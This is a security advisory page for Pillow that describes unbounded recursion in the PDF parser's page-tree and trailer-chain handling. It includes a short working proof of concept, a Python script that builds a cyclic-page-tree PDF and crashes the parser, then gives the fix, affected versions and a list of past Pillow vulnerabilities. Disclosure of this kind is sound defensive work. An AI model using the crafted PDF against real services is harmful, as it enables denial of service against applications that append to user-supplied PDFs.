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High

Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)

  • Disclosed: 20.10.2026
  • Updated: 20.10.2026 23:38

Summary

When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

Details

linearize_page_tree recurses on /Kids with no cycle or depth check:

  • src/PIL/PdfParser.py:1078-1092

read_prev_trailer catches only a repeated offset:

  • src/PIL/PdfParser.py:697-720 (the processed_offsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it)

PoC

python
from PIL import PdfParser

# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
    1: b"<< /Type /Catalog /Pages 2 0 R >>",
    2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b")   # append=True parses the existing file the same way

Run it:

bash
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.

Impact

A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.

What to do

Upgrade Pillow to version 13.0.0 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pillow >= 5.1.0, < 13.0.0 13.0.0

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-674
Platform
Python (PyPI)
Package
pillow
Disclosed
20.10.2026
Updated
20.10.2026 23:38

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - GHSA-p4wg-p73j-c528 - CC BY 4.0

Vulnerability history: pillow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (81) in the archive
Total entries
81
First → latest
04.2014 10.2026
Without a fix
0
Exploited in attacks
1

Severity breakdown

  • Critical 10
  • High 53
  • Medium 16
  • Low 1
  • Unrated 1

Disclosures per year

earlier: 12

Severity:
  1. Pillow: Out-of-bounds access in _imagingmorph on a zero-width image
    High CVE-2026-112397 < 13.0.0 13.0.0
  2. Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS
    High CVE-2026-112400 >= 9.2.0, < 13.0.0 13.0.0
  3. Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310) this entry
    High CVE-2026-112895 >= 5.1.0, < 13.0.0 13.0.0
  4. Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service
    High CVE-2026-59204 >= 8.2.0, < 12.3.0 12.3.0
  5. Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()
    High · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  6. Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)
    High CVE-2026-54058 < 12.3.0 12.3.0
  7. Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`
    High · 8.2 CVE-2026-59197 < 12.3.0 12.3.0
  8. Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch
    High · 7.5 CVE-2026-59205 < 12.3.0 12.3.0
  9. Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow
    High · 7.5 CVE-2026-59199 < 12.3.0 12.3.0
  10. Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`
    High · 7.5 CVE-2026-54060 < 12.3.0 12.3.0
  11. Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
    High · 7.5 CVE-2026-54059 < 12.3.0 12.3.0
  12. Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
    High · 7.5 CVE-2026-55379 < 12.3.0 12.3.0
  13. Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`
    High · 7.5 CVE-2026-55380 < 12.3.0 12.3.0
  14. Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)
    High CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  15. FITS GZIP decompression bomb in Pillow
    High · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  16. Pillow affected by out-of-bounds write when loading PSD images
    High CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  17. Pillow vulnerability can cause write buffer overflow on BCn encoding
    High · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  18. Pillow buffer overflow vulnerability
    High · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  19. Arbitrary Code Execution in Pillow
    Critical · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  20. An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of
    High · 7.5 CVE-2023-44271 < 10.0.0 10.0.0
Show more (20) Showing 20 of 63

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